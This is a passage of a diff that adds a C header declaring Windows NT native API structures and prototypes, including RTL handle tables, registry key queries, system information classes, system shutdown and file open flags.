+{ + struct _RTL_HANDLE_TABLE_ENTRY *Next; /* pointer to next free handle */ + PVOID Object; + +} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; + + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Unknown01; + ULONG Unknown02; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; + + +NTSYSAPI +VOID +NTAPI +RtlInitializeGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + IN PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + IN PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + IN PVOID TableContext + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitializeHandleTable( + IN ULONG MaximumNumberOfHandles, + IN ULONG SizeOfHandleTableEntry, + OUT PRTL_HANDLE_TABLE HandleTable + ); + + +NTSYSAPI +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + IN PRTL_HANDLE_TABLE HandleTable, + OUT PULONG HandleIndex OPTIONAL + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN ULONG HandleIndex, + OUT PRTL_HANDLE_TABLE_ENTRY *Handle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PVOID Buffer, + IN LONG BufferSize, + OUT PBOOLEAN NewElement OPTIONAL + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + IN PRTL_GENERIC_TABLE Table + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + IN PRTL_GENERIC_TABLE Table + ); + + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PVOID Buffer + ); + + +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying( + IN PRTL_GENERIC_TABLE Table, + IN PVOID *RestartKey + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtClose( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwClose( + IN HANDLE Handle + ); + +//----------------------------------------------------------------------------- +// Environment functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlOpenCurrentUser( + IN ULONG DesiredAccess, + OUT PHANDLE CurrentUserKey + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironment( + BOOLEAN CloneCurrentEnvironment, + PVOID *Environment + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U ( + PVOID Environment, + PUNICODE_STRING Name, + PUNICODE_STRING Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + PVOID *Environment, + PUNICODE_STRING Name, + PUNICODE_STRING Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyEnvironment( + PVOID Environment + ); + +//----------------------------------------------------------------------------- +// Registry functions + + +typedef enum _KEY_INFORMATION_CLASS +{ + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass // MaxKeyInfoClass should always be the last enum + +} KEY_INFORMATION_CLASS; + +// +// Key query structures +// + +typedef struct _KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + + +typedef struct _KEY_NODE_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG NameLength; + WCHAR Name[1]; // Variable length string +// Class[1]; // Variable length string not declared +} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION; + + +typedef struct _KEY_FULL_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; // Variable length + +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; + + +// end_wdm +typedef struct _KEY_NAME_INFORMATION +{ + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION; + +typedef struct _KEY_CACHED_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION; + + +typedef struct _KEY_FLAGS_INFORMATION +{ + ULONG UserFlags; + +} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION; + + + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass // MaxKeyValueInfoClass should always be the last enum +} KEY_VALUE_INFORMATION_CLASS; + + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size +// Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG TitleIndex, + IN PUNICODE_STRING Class OPTIONAL, + IN ULONG CreateOptions, + OUT PULONG Disposition OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + IN PVOID KeyInformation, + IN ULONG Length, + IN PULONG ResultLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteKey( + IN HANDLE KeyHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN ULONG TitleIndex OPTIONAL, + IN ULONG Type, + IN PVOID Data, + IN ULONG DataSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + +//----------------------------------------------------------------------------- +// RtlQueryRegistryValues + +// +// The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE +// entry is interpreted. A NULL name indicates the end of the table. +// + +#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 // Name is a subkey and remainder of + // table or until next subkey are value + // names for that subkey to look at. + +#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 // Reset current key to original key for + // this and all following table entries. + +#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 // Fail if no match found for this table + // entry. + +#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 // Used to mark a table entry that has no + // value name, just wants a call out, not + // an enumeration of all values. + +#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 // Used to suppress the expansion of + // REG_MULTI_SZ into multiple callouts or + // to prevent the expansion of environment + // variable values in REG_EXPAND_SZ + +#define RTL_QUERY_REGISTRY_DIRECT 0x00000020 // QueryRoutine field ignored. EntryContext + // field points to location to store value. + // For null terminated strings, EntryContext + // points to UNICODE_STRING structure that + // that describes maximum size of buffer. + // If .Buffer field is NULL then a buffer is + // allocated. + // + +#define RTL_QUERY_REGISTRY_DELETE 0x00000040 // Used to delete value keys after they + // are queried. + + +// +// The following values for the RelativeTo parameter determine what the +// Path parameter to RtlQueryRegistryValues is relative to. +// + +#define RTL_REGISTRY_ABSOLUTE 0 // Path is a full path +#define RTL_REGISTRY_SERVICES 1 // \Registry\Machine\System\CurrentControlSet\Services +#define RTL_REGISTRY_CONTROL 2 // \Registry\Machine\System\CurrentControlSet\Control +#define RTL_REGISTRY_WINDOWS_NT 3 // \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion +#define RTL_REGISTRY_DEVICEMAP 4 // \Registry\Machine\Hardware\DeviceMap +#define RTL_REGISTRY_USER 5 // \Registry\User\CurrentUser +#define RTL_REGISTRY_MAXIMUM 6 +#define RTL_REGISTRY_HANDLE 0x40000000 // Low order bits are registry handle +#define RTL_REGISTRY_OPTIONAL 0x80000000 // Indicates the key node is optional + + +typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( + IN PWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength, + IN PVOID Context, + IN PVOID EntryContext + ); + +typedef struct _RTL_QUERY_REGISTRY_TABLE +{ + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; + +} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; + + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryRegistryValues( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PRTL_QUERY_REGISTRY_TABLE QueryTable, + IN PVOID Context, + IN PVOID Environment OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Query system information + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, // 0x00 SYSTEM_BASIC_INFORMATION + SystemProcessorInformation, // 0x01 SYSTEM_PROCESSOR_INFORMATION + SystemPerformanceInformation, // 0x02 + SystemTimeOfDayInformation, // 0x03 + SystemPathInformation, // 0x04 + SystemProcessInformation, // 0x05 + SystemCallCountInformation, // 0x06 + SystemDeviceInformation, // 0x07 + SystemProcessorPerformanceInformation, // 0x08 + SystemFlagsInformation, // 0x09 + SystemCallTimeInformation, // 0x0A + SystemModuleInformation, // 0x0B SYSTEM_MODULE_INFORMATION + SystemLocksInformation, // 0x0C + SystemStackTraceInformation, // 0x0D + SystemPagedPoolInformation, // 0x0E + SystemNonPagedPoolInformation, // 0x0F + SystemHandleInformation, // 0x10 + SystemObjectInformation, // 0x11 + SystemPageFileInformation, // 0x12 + SystemVdmInstemulInformation, // 0x13 + SystemVdmBopInformation, // 0x14 + SystemFileCacheInformation, // 0x15 + SystemPoolTagInformation, // 0x16 + SystemInterruptInformation, // 0x17 + SystemDpcBehaviorInformation, // 0x18 + SystemFullMemoryInformation, // 0x19 + SystemLoadGdiDriverInformation, // 0x1A + SystemUnloadGdiDriverInformation, // 0x1B + SystemTimeAdjustmentInformation, // 0x1C + SystemSummaryMemoryInformation, // 0x1D + SystemNextEventIdInformation, // 0x1E + SystemEventIdsInformation, // 0x1F + SystemCrashDumpInformation, // 0x20 + SystemExceptionInformation, // 0x21 + SystemCrashDumpStateInformation, // 0x22 + SystemKernelDebuggerInformation, // 0x23 + SystemContextSwitchInformation, // 0x24 + SystemRegistryQuotaInformation, // 0x25 + SystemExtendServiceTableInformation, // 0x26 + SystemPrioritySeperation, // 0x27 + SystemPlugPlayBusInformation, // 0x28 + SystemDockInformation, // 0x29 + //SystemPowerInformation, // 0x2A + //SystemProcessorSpeedInformation, // 0x2B + //SystemCurrentTimeZoneInformation, // 0x2C + //SystemLookasideInformation // 0x2D + +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +// +// Thread priority +// + +typedef LONG KPRIORITY; + +// +// Basic System information +// NtQuerySystemInformation with SystemBasicInformation +// + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + ULONG NumberOfPhysicalPages; + ULONG LowestPhysicalPageNumber; + ULONG HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG MinimumUserModeAddress; + ULONG MaximumUserModeAddress; + KAFFINITY ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +// +// Processor information +// NtQuerySystemInformation with SystemProcessorInformation +// + +typedef struct _SYSTEM_PROCESSOR_INFORMATION { + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT Reserved; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; + +// +// Performance information +// NtQuerySystemInformation with SystemPerformanceInformation +// + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + ULONG CommittedPages; + ULONG CommitLimit; + ULONG PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG Spare3Count; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; +} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + +// +// Time of Day information +// NtQuerySystemInformation with SystemTimeOfDayInformation +// + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +// +// Process information +// NtQuerySystemInformation with SystemProcessInformation +// + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; + ULONG HandleCount; + // Next part is platform dependent + +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +// +// Device information +// NtQuerySystemInformation with SystemDeviceInformation +// + +typedef struct _SYSTEM_DEVICE_INFORMATION { + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; + +// +// Processor performance information +// NtQuerySystemInformation with SystemProcessorPerformanceInformation +// + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; // DEVL only + LARGE_INTEGER InterruptTime; // DEVL only + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +// +// NT Global Flag information +// NtQuerySystemInformation with SystemFlagsInformation +// + +typedef struct _SYSTEM_FLAGS_INFORMATION +{ + ULONG GlobalFlag; + +} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; + +// +// System Module information +// NtQuerySystemInformation with SystemModuleInformation +// + +typedef struct _SYSTEM_MODULE +{ + ULONG Reserved1; // Should be 0xBAADF00D + ULONG Reserved2; // Should be zero + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT Unknown; + USHORT LoadCount; + USHORT ModuleNameOffset; + CHAR ImageName[256]; + +} SYSTEM_MODULE, *PSYSTEM_MODULE; + + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG ModulesCount; + SYSTEM_MODULE Modules[1]; + +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +/* +typedef struct _SYSTEM_VDM_INSTEMUL_INFO { + ULONG SegmentNotPresent ; + ULONG VdmOpcode0F ; + ULONG OpcodeESPrefix ; + ULONG OpcodeCSPrefix ; + ULONG OpcodeSSPrefix ; + ULONG OpcodeDSPrefix ; + ULONG OpcodeFSPrefix ; + ULONG OpcodeGSPrefix ; + ULONG OpcodeOPER32Prefix; + ULONG OpcodeADDR32Prefix; + ULONG OpcodeINSB ; + ULONG OpcodeINSW ; + ULONG OpcodeOUTSB ; + ULONG OpcodeOUTSW ; + ULONG OpcodePUSHF ; + ULONG OpcodePOPF ; + ULONG OpcodeINTnn ; + ULONG OpcodeINTO ; + ULONG OpcodeIRET ; + ULONG OpcodeINBimm ; + ULONG OpcodeINWimm ; + ULONG OpcodeOUTBimm ; + ULONG OpcodeOUTWimm ; + ULONG OpcodeINB ; + ULONG OpcodeINW ; + ULONG OpcodeOUTB ; + ULONG OpcodeOUTW ; + ULONG OpcodeLOCKPrefix ; + ULONG OpcodeREPNEPrefix ; + ULONG OpcodeREPPrefix ; + ULONG OpcodeHLT ; + ULONG OpcodeCLI ; + ULONG OpcodeSTI ; + ULONG BopCount ; +} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; + + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; + + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitches; + ULONG ThreadState; + ULONG WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_MEMORY_INFO { + PUCHAR StringOffset; + USHORT ValidCount; + USHORT TransitionCount; + USHORT ModifiedCount; + USHORT PageTableCount; +} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; + +typedef struct _SYSTEM_MEMORY_INFORMATION { + ULONG InfoSize; + ULONG StringStart; + SYSTEM_MEMORY_INFO Memory[1]; +} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION { + ULONG Length; + ULONG NumberOfTables; + //ULONG NumberOfEntries[NumberOfTables]; + //ULONG CallCounts[NumberOfTables][NumberOfEntries]; +} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_CRASH_DUMP_INFORMATION { + HANDLE CrashDumpSection; +} SYSTEM_CRASH_DUMP_INFORMATION, *PSYSTEM_CRASH_DUMP_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION { + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + +typedef struct _SYSTEM_CRASH_STATE_INFORMATION { + ULONG ValidCrashDump; +} SYSTEM_CRASH_STATE_INFORMATION, *PSYSTEM_CRASH_STATE_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + ULONG PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_GDI_DRIVER_INFORMATION { + UNICODE_STRING DriverName; + PVOID ImageAddress; + PVOID SectionPointer; + PVOID EntryPoint; + PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; +} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; +*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySystemInformation( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength + ); + +//------------------------------------------------------------------------------ +// Shutdown system + +typedef enum _SHUTDOWN_ACTION +{ + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff + +} SHUTDOWN_ACTION, *PSHUTDOWN_ACTION; + + +NTSYSAPI +NTSTATUS +NTAPI +NtShutdownSystem( + IN SHUTDOWN_ACTION Action + ); + +//----------------------------------------------------------------------------- +// File functions + +#ifndef OLD_DOS_VOLID +#define OLD_DOS_VOLID 0x00000008 +#endif + +#ifndef FILE_SUPERSEDE +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 +#endif // File create flags + + +// Define the create/open option flags +#ifndef FILE_DIRECTORY_FILE +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 +#endif // FILE_DIRECTORY_FILE + + +// +// Define the I/O status information return values for NtCreateFile/NtOpenFile +// + +#ifndef FILE_SUPERSEDED +#define FILE_SUPERSEDED 0x00000000 +#define FILE_OPENED 0x00000001 +#define FILE_CREATED 0x00000002 +#define FILE_OVERWRITTEN 0x00000003 +#define FILE_EXISTS 0x00000004 +#define FILE_DOES_NOT_EXIST 0x00000005 +#endif + + +#ifndef PIO_APC_ROUTINE_DEFINED +typedef +VOID +(NTAPI *PIO_APC_ROUTINE) ( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); +#define PIO_APC_ROUTINE_DEFINED +#endif // PIO_APC_ROUTINE_DEFINED + + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, // 2 + FileBothDirectoryInformation, // 3 + FileBasicInformation, // 4 wdm + FileStandardInformation, // 5 wdm + FileInternalInformation, // 6 + FileEaInformation, // 7 + FileAccessInformation, // 8 + FileNameInformation, // 9 + FileRenameInformation, // 10 + FileLinkInformation, // 11 + FileNamesInformation, // 12 + FileDispositionInformation, // 13 + FilePositionInformation, // 14 wdm + FileFullEaInformation, // 15 + FileModeInformation, // 16 + FileAlignmentInformation, // 17 + FileAllInformation, // 18 + FileAllocationInformation, // 19 + FileEndOfFileInformation, // 20 wdm + FileAlternateNameInformation, // 21 + FileStreamInformation, // 22 + FilePipeInformation, // 23 + FilePipeLocalInformation, // 24 + FilePipeRemoteInformation, // 25 + FileMailslotQueryInformation, // 26 + FileMailslotSetInformation, // 27 + FileCompressionInformation, // 28 + FileObjectIdInformation, // 29 + FileCompletionInformation, // 30 + FileMoveClusterInformation, // 31 + FileQuotaInformation, // 32 + FileReparsePointInformation, // 33 + FileNetworkOpenInformation, // 34 + FileAttributeTagInformation, // 35 + FileTrackingInformation, // 36 + FileIdBothDirectoryInformation, // 37 + FileIdFullDirectoryInformation, // 38 + FileValidDataLengthInformation, // 39 + FileShortNameInformation, // 40 + FileIoCompletionNotificationInformation, // 41 + FileIoStatusBlockRangeInformation, // 42 + FileIoPriorityHintInformation, // 43 + FileSfioReserveInformation, // 44 + FileSfioVolumeInformation, // 45 + FileHardLinkInformation, // 46 + FileProcessIdsUsingFileInformation, // 47 + FileMaximumInformation // 48 +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + 